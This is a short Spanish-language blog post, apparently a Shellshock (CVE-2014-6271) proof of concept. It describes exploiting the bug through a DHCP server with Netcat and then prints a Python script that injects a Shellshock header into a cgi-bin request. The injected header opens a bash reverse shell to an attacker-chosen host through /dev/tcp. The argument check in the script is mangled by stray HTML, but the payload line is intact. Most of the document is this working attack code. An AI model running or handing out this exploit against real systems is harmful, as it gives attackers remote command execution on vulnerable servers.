Shell Shock Reverse Shell DHCP

Esta es una PoC sobre una de las ultimas  Vulnerabilidadades detonadas en el ultimo mes denominada Shell Sock:  http://en.wikipedia.org/wiki/Shellshock_(software_bug)

En esta prueba utilizare el servicio de dhcp de tftpd de http://tftpd32.jounin.net adoptando como primera PoC  vista de https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Posteriormente obtendremos  la Shell inversa utilizando Netcat como listener y como inyector de la misma.

https://www.youtube.com/watch?v=AK9ZX26cw7o&feature=youtu.be

CVE-2014-6271 cgi-bin reverse shell

#

#CVE-2014-6271 cgi-bin reverse shell

#

import httplib,urllib,sys

if (len(sys.argv)<4 p="">

        print "Usage: %s " % sys.argv[0]

        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]

        exit(0)

conn = httplib.HTTPConnection(sys.argv[1])

reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",

        "test":reverse_shell }

conn.request("GET",sys.argv[2],headers=headers)

res = conn.getresponse()

print res.status, res.reason

data = res.read()

print data